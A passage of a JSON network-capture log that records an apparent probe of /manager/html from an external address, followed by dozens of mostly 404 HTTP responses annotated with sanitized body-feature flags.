            "http.request.full_uri": "http://128.199.64.235/manager/html"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-05a158cde3aabb5b3a3d50e8",
          "src_port": 51805,
          "tcp_stream": 76,
          "udp_stream": null,
          "frame_number": 2420,
          "timestamp_epoch": "1577256450.983470000"
        }
      ],
      "http_response": [
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "10",
            "http.content_type": "text/html",
            "http.response.code": "200",
            "http.content_length": "468"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55812,
          "event_id": "evt-d4b6ed20457f5f120bd132ca",
          "src_port": 80,
          "tcp_stream": 1,
          "udp_stream": null,
          "body_sha256": "54439de67d3af19d75b468511444a25f067767ff629b0e0262bb6781ed27b7bd",
          "frame_number": 12,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 468,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 468,
          "timestamp_epoch": "1577255332.203424000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "15",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55812,
          "event_id": "evt-1402535f5d72dc0720cd7f65",
          "src_port": 80,
          "tcp_stream": 1,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 16,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255332.482986000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "18",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55812,
          "event_id": "evt-2ed63c7b4a3d41c66d2a5a9a",
          "src_port": 80,
          "tcp_stream": 1,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 19,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255332.751382000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "21",
            "http.content_type": "text/html",
            "http.response.code": "200",
            "http.content_length": "308",
            "http.content_encoding": "gzip"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55812,
          "event_id": "evt-6e4a5ae83d9f4643e122e577",
          "src_port": 80,
          "tcp_stream": 1,
          "udp_stream": null,
          "body_sha256": "a96a4910f93b4c0458875c5a212a738ea90d9d6ce1ed4bb45bbe441504d82183",
          "frame_number": 22,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 468,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 468,
          "timestamp_epoch": "1577255333.020538000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "25",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55812,
          "event_id": "evt-86e3348640380cee0d82ae5e",
          "src_port": 80,
          "tcp_stream": 1,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 26,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255333.295077000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "28",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55812,
          "event_id": "evt-79d39b113eeb94c07ce61f5c",
          "src_port": 80,
          "tcp_stream": 1,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 29,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255333.957508000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "31",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55812,
          "event_id": "evt-622554656a0f38514c632ee6",
          "src_port": 80,
          "tcp_stream": 1,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 32,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255334.311238000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "34",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55812,
          "event_id": "evt-cdd3f0fbaf0aa1c4524a81e1",
          "src_port": 80,
          "tcp_stream": 1,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 35,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255336.010016000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "44",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56924,
          "event_id": "evt-4ec4fd2a505ce48fda8439a7",
          "src_port": 80,
          "tcp_stream": 2,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 46,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255346.055804000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "48",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56924,
          "event_id": "evt-574c910aa9667bb179807452",
          "src_port": 80,
          "tcp_stream": 2,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 50,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255349.559513000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "52",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56924,
          "event_id": "evt-94ca02f790647b891afdd204",
          "src_port": 80,
          "tcp_stream": 2,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 53,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255350.624735000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "55",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56924,
          "event_id": "evt-2c42de8f134041121f50a43e",
          "src_port": 80,
          "tcp_stream": 2,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 56,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255353.337887000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "58",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56924,
          "event_id": "evt-2d087b90153e22e45b9f781c",
          "src_port": 80,
          "tcp_stream": 2,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 60,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255355.201166000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "62",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56924,
          "event_id": "evt-b79ca6bd80c8c078e08a8aec",
          "src_port": 80,
          "tcp_stream": 2,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 63,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255355.468806000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "68",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58569,
          "event_id": "evt-0984624438c3c5bd358c1a15",
          "src_port": 80,
          "tcp_stream": 3,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 70,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255356.305077000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "75",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56924,
          "event_id": "evt-132d5ad32a85c45179eacb9a",
          "src_port": 80,
          "tcp_stream": 2,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 76,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255356.564006000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "85",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 59314,
          "event_id": "evt-ce450b17b646ab3716bda9dc",
          "src_port": 80,
          "tcp_stream": 4,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 87,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255368.255636000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "89",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 59314,
          "event_id": "evt-04dcb74ea88c7efaa9773b33",
          "src_port": 80,
          "tcp_stream": 4,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 90,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255368.523274000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "92",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 59314,
          "event_id": "evt-cdb517877e630427ce9db7dd",
          "src_port": 80,
          "tcp_stream": 4,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 93,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255368.816525000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "94",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 59314,
          "event_id": "evt-0c017cde6630c59598eb1fd2",
          "src_port": 80,
          "tcp_stream": 4,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 95,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255369.090995000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "97",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 59314,
          "event_id": "evt-272597763d7154c15786a37d",
          "src_port": 80,
          "tcp_stream": 4,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 98,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255369.358832000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "100",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 59314,
          "event_id": "evt-b6b3f43ec9b02d0341d3f7b2",
          "src_port": 80,
          "tcp_stream": 4,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 101,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255369.755912000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "103",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 59314,
          "event_id": "evt-c9e4393a0bb17cf465d511b4",
          "src_port": 80,
          "tcp_stream": 4,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 104,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255370.024203000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "106",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 59314,
          "event_id": "evt-41b5ca0235e42885413b029b",
          "src_port": 80,
          "tcp_stream": 4,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 107,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255370.291932000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "109",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 59314,
          "event_id": "evt-7f8519c58d9dac128243ed9d",
          "src_port": 80,
          "tcp_stream": 4,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 110,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255370.559695000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "112",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 59314,
          "event_id": "evt-783b5c6a16dd023e59f58f3e",
          "src_port": 80,
          "tcp_stream": 4,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 113,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255370.827480000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "115",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 59314,
          "event_id": "evt-6b2c59633fb8a04e62b324e1",
          "src_port": 80,
          "tcp_stream": 4,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 116,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255371.669245000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "118",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 59314,
          "event_id": "evt-982e049a84eb704539fb8afc",
          "src_port": 80,
          "tcp_stream": 4,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 119,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255371.937192000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "121",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 59314,
          "event_id": "evt-eff6cdcf1b4cc4e0a298c055",
          "src_port": 80,
          "tcp_stream": 4,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 122,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255372.204932000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "124",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 59314,
          "event_id": "evt-63bf8a7cd18971feace187c2",
          "src_port": 80,
          "tcp_stream": 4,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 125,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255372.472563000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "127",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 59314,
          "event_id": "evt-54d4337d7c3e9334671d8d93",
          "src_port": 80,
          "tcp_stream": 4,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 128,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255372.741382000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "130",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 59314,
          "event_id": "evt-bfe0273f5dce3e0a99a7f38e",
          "src_port": 80,
          "tcp_stream": 4,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 131,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255373.009027000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "133",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 59314,
          "event_id": "evt-4c721c1b0b01ed4976e038ab",
          "src_port": 80,
          "tcp_stream": 4,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 134,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255373.277284000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "136",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 59314,
          "event_id": "evt-0e8417bf8545d310cd9e8ac5",
          "src_port": 80,
          "tcp_stream": 4,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 137,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255373.546962000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "139",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 59314,
          "event_id": "evt-b69cf44943cb70dfc818b797",
          "src_port": 80,
          "tcp_stream": 4,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 140,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255373.948737000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "142",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 59314,
          "event_id": "evt-82f77a2c1995ce6615f60256",
          "src_port": 80,
          "tcp_stream": 4,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 143,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
